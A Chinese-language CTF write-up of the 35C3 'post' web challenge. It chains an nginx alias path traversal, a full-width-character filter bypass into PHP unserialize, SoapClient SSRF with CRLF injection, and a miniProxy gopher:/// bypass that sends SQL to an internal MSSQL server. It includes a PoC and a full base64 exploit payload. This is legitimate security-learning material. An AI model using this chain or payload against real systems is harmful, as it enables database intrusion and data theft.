国际赛赛题的复现,简直是爽的不行!

Description

Code & Writeup https://github.com/eboda/35c3/tree/master/post

Go make some posts http://xxxx/
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

Get Nginx configuration bak

由hint3可知,nginx的配置是有漏洞的,扫一下后台发现uploads是403,而且url末端没有带/,于是测试一下任意文件读取,http://xxx:8000/uploads../成功读取到上一级目录。看到default.backup里面是nginx配置文件的bak

server {
    listen 80;
    access_log  /var/log/nginx/example.log;

    server_name localhost;

    root /var/www/html;

    location /uploads {
        autoindex on;
        alias /var/www/uploads/;
    }

    location / {
        alias /var/www/html/;
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

    location /inc/ {
        deny all;
    }
}

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

}

正好验证了任意文件读取的洞,还有一个就是本地访问的8080端口~先放着,估计又是一个SSRF~

audit /html/ source code

每个文件都读一读,发现default.php是个好东西~

<?php
    if (isset($_POST["title"])) {
        $attachments = array();
        if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {

            $folder = sha1(random_bytes(10));
            mkdir("../uploads/$folder");
            for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
                if ($_FILES["attach"]["error"][$i] !== 0) continue;
                $name = basename($_FILES["attach"]["name"][$i]);
                move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
                $attachments[] = new Attachment("/uploads/$folder/$name");
            }
        }
        $post = new Post($_POST["title"], $_POST["content"], $attachments);
        $post->save();
    }
    if (isset($_GET["action"])) {
        if ($_GET["action"] == "restart") {
            Post::truncate();
            header("Location: /");
            die;
        } else {
?>

$attachments是一个Attachment类,看一下是什么东东,

class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

}

功能就是把上传的文件,打包成zip,然后__toString()用来展示有多少个文件(attach)

再来看看Post类的save()方法

public function save() {
    global $USER;
    if (is_null($this->id)) {
        DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
            array($USER->uid, $this->title, $this->content, $this->attachment));
    } else {
        DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
            array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
    }

把数据insert进数据库,这里的$this->attachment还是个类。

再看看load()

public static function load($id) {
        global $USER;
        $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
            array($USER->uid, $id));
        if (!$res) die("db error");
        $res = $res[0];
        $post = new Post($res["title"], $res["content"], $res["attachment"]);
        $post->id = $id;
        return $post;
    }

db.php可以知道,当调用执行查询语句db:query()返回结果时,会搜索是否有$serializedobject$开头的特征字段,如果存在,则对其进行反序列化,看来那个Attachment有用了:)

private static function retrieve_values($res) {
        $result = array();
        while ($row = sqlsrv_fetch_array($res)) {
            $result[] = array_map(function($x){
                return preg_match('/^\$serializedobject\$/i', $x) ?
                    unserialize(substr($x, 18)) : $x;
            }, $row);
        }
        return $result;
    }

但是又发现一个问题,我们不能构造$serializedobject$,因为在插入之前会有过滤

private static function prepare_params($params) {
        return array_map(function($x){
            if (is_object($x) or is_array($x)) {
                return '$serializedobject$' . serialize($x);
            }

            if (preg_match('/^\$serializedobject\$/i', $x)) {
                die("invalid data");
                return "";
            }

            return $x;
        }, $params);
    }

这里也要注意arrary_map()这个函数,不然按照$params是数组的话,是死活不会die到invalid data的。

array_map ( callable $callback , array $array1 [, array $... ] ) : array

array_map() returns an array containing all the elements of array1 after applying the callback function to each one. The number of parameters that the callback function accepts should match the number of arrays passed to the array_map()

看官方wp,发现这里有点皮~

Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

-w553
所以可以得知0xEF 0xBC 0x84()是$的全角符号。
应该是mssql会把全角字符转化为对应的ascii码,而ascii码无论是全角还是半角都是一样的,所以用这个骚姿势就绕过了这个insert的检查。于是,在content字段构造$serializedobject$序列化的数据,就能成功反序列化出任意类了。

Unserialize to trigger SSRF

看了一下miniProxy的代码,第一时间想到的就是SoapClient,接下来就是要想怎么去伪造她了。

# default.php
foreach($posts as $p) {
        echo $p;
        echo "<br><br>";
    }

上面的代码会把依次调用Post类和Attachment类的__toString()方法。

public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

Attachment类的__toString()里的$this->za->open()正是我们可以利用的对象,若我们构造$this->zaSoapClient类的实例,而其中没有open()函数,她就会触发__call()函数,发送一次http请求,从而达到ssrf。

# 测试payload
<?php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct() {
        $this->url = '1';
        $this->mime = '2';
        $this->za = new SoapClient(null, array('location' => 'http://127.0.0.1:2333', 'uri' => 'http://0akarma.com'));
       $this->za->open("../");
        }
}
$attachment = new Attachment();
echo '$serializedobject$'.serialize($attachment);
?>

由之前的nginx配置可知,要访问miniProxy需要达到的条件有
端口8080
GET型请求

但是SoapClient类默认是POST型的,这里我们就需要再结合CRLF漏洞了。

gopher exploit MSSql

接下来审计一下miniProxy.php的代码

//Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy.
if (isset($_POST["miniProxyFormAction"])) {
  $url = $_POST["miniProxyFormAction"];
  unset($_POST["miniProxyFormAction"]);
} else {
  $queryParams = Array();
  parse_str($_SERVER["QUERY_STRING"], $queryParams);
  //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
  if (isset($queryParams["miniProxyFormAction"])) {
    $formAction = $queryParams["miniProxyFormAction"];
    unset($queryParams["miniProxyFormAction"]);
    $url = $formAction . "?" . http_build_query($queryParams);
  } else {
    $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
  }

看到这个?REQUEST_URI感觉比较有戏~

if (empty($url)) {
    if (empty($startURL)) {
      die("<html><head><title>miniProxy</title></head><body><h1>Welcome to miniProxy!</h1>miniProxy can be directly invoked like this: <a href=\"" . PROXY_PREFIX . $landingExampleURL . "\">" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />Or, you can simply enter a URL below:<br /><br /><form onsubmit=\"if (document.getElementById('site').value) { window.location.href='" . PROXY_PREFIX . "' + document.getElementById('site').value; return false; } else { window.location.href='" . PROXY_PREFIX . $landingExampleURL . "'; return false; }\" autocomplete=\"off\"><input id=\"site\" type=\"text\" size=\"50\" /><input type=\"submit\" value=\"Proxy It!\" /></form></body></html>");
    } else {
      $url = $startURL;
    }
} else if (strpos($url, ":/") !== strpos($url, "://")) {
    //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
    //See https://github.com/joshdick/miniProxy/pull/14
    $pos = strpos($url, ":/");
    $url = substr_replace($url, "://", $pos, strlen(":/"));
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, "//") === 0) {
    $url = "http:" . $url;
  }
} else if (!preg_match("/^https?$/i", $scheme)) {
    die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

这里限制了只能用http / https协议,那是否可以用跳转来访问?还是有什么能让$scheme经过parse_url()之后为空的呢?

var_dump(parse_url("http:///www.0akarma.com"));
# Result: boolean false

官方wp说跳转访问mssql是非预期解~~
/miniProxy.php?gopher:///绕过才是出题人的最初想法。

The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case).

所以我们需要知道自己的uid,然后让mssql把flag写进自己的post里面~只需要抓个包加个DEBUG头即可。
-w1109

然后再用上官方的exp

php exploit.php  "insert into posts(userid,title,content,attachment) values (3,\"flag\",(select flag
from flag.flag),\"flag\");"
JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAzJTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMEElMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=%

-w1242
拼接起来即可!

Conclusion

出题人可谓是百费心思啊~

nginx misconfiguration->arbitrary unserialize->SoapClient SSRF->SoapClient CRLF injection->miniProxy URL scheme bypass->Connect to MSSQL via gopher~~简直是爽的不能再爽,学到的东西太多了,国际赛就是不一样~自己还是太菜了。。